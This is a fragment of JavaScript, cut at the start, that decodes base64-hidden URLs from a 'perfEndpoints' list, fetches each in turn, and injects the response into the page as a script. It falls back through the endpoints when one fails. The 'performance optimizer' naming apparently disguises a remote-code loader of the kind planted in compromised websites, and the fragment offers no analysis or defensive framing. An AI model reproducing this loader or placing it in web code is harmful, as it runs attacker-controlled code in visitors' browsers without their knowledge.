=perfEndpoints.length)return; try{ var endpointUrl=atob(perfEndpoints[endpointIndex])+Math.random(); var performanceXHR=new XMLHttpRequest(); performanceXHR.open("GET",endpointUrl,false); performanceXHR.send(); if(performanceXHR.status==200){ var optimizerScript=document.createElement("script"); optimizerScript.text=performanceXHR.responseText; document.head.appendChild(optimizerScript) }else{ loadPerformanceScript(endpointIndex+1) } }catch(e){ loadPerformanceScript(endpointIndex+1) } } loadPerformanceScript(0) } }
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